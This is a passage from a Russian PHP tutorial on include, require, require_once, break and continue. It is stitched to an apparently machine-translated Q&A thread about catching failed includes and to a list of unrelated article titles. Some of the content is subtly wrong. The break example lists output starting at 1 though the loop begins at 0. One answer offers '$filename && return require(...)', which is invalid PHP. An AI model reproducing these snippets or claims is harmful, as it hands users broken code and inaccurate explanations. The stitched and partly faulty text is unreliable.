— при подключении с помощью include — выполнится весь наш код в данном файле,
а файл inc.php не подключится и будет при этом выведена ошибка подключения файла.
Но вместе с тем, код нашей страницы отработал. И полученная ошибка не фатальная,
не критичная — это просто предупреждение. Это значит, что код продолжит работать,
но есть какая-то незначительная ошибка, которая не влияет на его работоспособность.

— при подключении с помощью require второй параграф <p>Привет мир!<p> не
выведится. Мы получим уже фатальную ошибку, после которой php преравает выполнение
скрипта.

include — вызывает ошибку уровня Warning,

require — вызывает ошибку уровня Fatal error.

Если у нас должен подключаться файл от которого зависит дальнейшее работа скрипта,
например, подключение к базе данных, то желательно использовать — require.
Если же файл, который подлючается, не ключевой и если он не подключится — ни
чего страшного не будет, тогда можно использовать — include.

Но все-же лучше всегда использовать require.

require_once и include_once

С помощью require_once и include_once — мы гарантируем, что файл будет поключен
один раз (once — единожды). Второе подключение файла будет игнорироваться.

-- файл index.php --

<!doctype html>
<html>
<head>
<meta charset="UTF-8">

<title>require_once</title>

</head>
<body>

<p>Привет мир!</p>

<!-- подключаем файл inc.php с помощью require_once -->
<?php require_once 'inc.php' ?>

<!-- подключаем файл inc.php второй раз с помощью require_once -->

<?php require_once 'inc.php' ?> <!-- будет игнорированно -->

<p>Привет мир!</p>

</body>
</html>

После обновления страницы получим:
Привет мир!
Hello, World! // содержимое подключаемого файла
Привет мир!

Разница между require_once и include_once та же, что и между require и include
в уровне ошибки.

Операторы break и continue

С помощью оператора break (php.net) — можно прервать выполнение циклов: for, foreach, while, do-while или switch.

Пример: найти число 5 и остановить дальнейшее выполнение цикла:

<?php
for ($i = 0; $i <= 30; $i++){

echo $i . '<br>' ;
if ($i == 5){
echo '<h2>Найдено!!!</h2>';
break;
}
}
?>

выведет:
1
2
3
4
5
Найдено!!!

— цикл отработает ровно столько, сколько потребуется для поиска нужного элемента,
элемент найден и цикл дальше не работает. Мы остановили ненужное выполнение цикла.

continue (php.net) — данный оператор используется для того, чтобы сделать пропуск.
То есть не выполнять, допустим, какие-то дествия для определенных действий в цикле.

Пример:

вывести все цифры от 0 до 30, кроме 10 и 20

( «||» — то же самое, что и «or» — « или» )

<?php
for ($i = 0; $i <= 30; $i++){

if ($i == 10 || $i == 20) continue;
echo $i . '<br>';
}
?>

- выведет все числа от 0 до 30, кроме чисел 10 и 20.

— если выполнится условие ( $i == 10 || $i == 20 ), то дальнейшие действия в теле
цикла будут пропущены и мы передем к следующей итерации.

Пример:

Вывести все цифры от 0 до 30 и пропустить диапазон чисел от 10 до 20

( «&&» — то же самое, что и «and» — « и» )

<?php
for ($i = 0; $i <= 30; $i++){

if ($i >= 10 && $i <= 20) continue;

echo $i . '<br>';

}

?>

- выведет все числа от 0 до 30, кроме диапазона чисел от 10 до 20.

Структура файлов урока

php12.png

Наверх
Наверх

Я пишу скрипт в PHP5, который требует кода определенных файлов. Когда файл недоступен для включения, сначала выдается предупреждение и затем происходит фатальная ошибка. Я хотел бы напечатать собственное сообщение об ошибке, когда было невозможно включить код. Можно ли выполнить одну последнюю команду, если запрос не работает? следующее не сработало:

Подавление всех сообщений об ошибках с использованием error_reporting(0) дает только белый экран, не используя error_reporting, дает PHP-ошибки, которые я не хочу показывать.

Вы можете выполнить это, используя set_error_handler в сочетании с ErrorException .

Пример страницы ErrorException :

 <?php function exception_error_handler($errno, $errstr, $errfile, $errline ) { throw new ErrorException($errstr, $errno, 0, $errfile, $errline); } set_error_handler("exception_error_handler"); /* Trigger exception */ strpos(); ?> 

Когда вы будете обрабатывать ошибки как исключения, вы можете сделать что-то вроде:

 <?php try { include 'fileERROR.php5'; } catch (ErrorException $ex) { echo "Unable to load configuration file."; // you can exit or die here if you prefer - also you can log your error, // or any other steps you wish to take } ?> 

Я просто использую ‘file_exists ()’:

 if (file_exists("must_have.php")) { require "must_have.php"; } else { echo "Please try back in five minutes...n"; } 

Лучшим подходом было бы сначала использовать путь realpath на пути. realpath вернет false если файл не существует.

 $filename = realpath(getcwd() . "/fileERROR.php5"); $filename && return require($filename); trigger_error("Could not find file {$filename}", E_USER_ERROR); 

Вы даже можете создать свою собственную функцию require в пространстве имен вашего приложения, которое обертывает требуемую функцию PHP

 namespace app; function require_safe($filename) { $path = realpath(getcwd() . $filename); $path && return require($path); trigger_error("Could not find file {$path}", E_USER_ERROR); } 

Теперь вы можете использовать его в любом месте в ваших файлах

 namespace app; require_safe("fileERROR.php5"); 

Я бы посоветовал вам взглянуть на последний комментарий в документации для функции set_error_handler () .

Он предлагает следующее как метод (и пример) улавливания фатальных ошибок:

 <?php function shutdown() { $a=error_get_last(); if($a==null) echo "No errors"; else print_r($a); } register_shutdown_function('shutdown'); ini_set('max_execution_time',1 ); sleep(3); ?> 

Я не пробовал это предложение, но это можно было бы использовать в других фатальных сценариях ошибок.

Вам нужно использовать include (). Требовать (), когда он используется в несуществующем файле, приводит к фатальной ошибке и выходит из сценария, поэтому ваш die () не произойдет. Include () только предупреждает, а затем продолжает скрипт.

Понравилась статья? Поделить с друзьями:
  • Php если будет ошибка то вывести этот файл
  • Php глобальная переменная с ошибками
  • Php выводить ошибки вместо 500
  • Php выводить все ошибки и предупреждения
  • Php вывод ошибок только в файл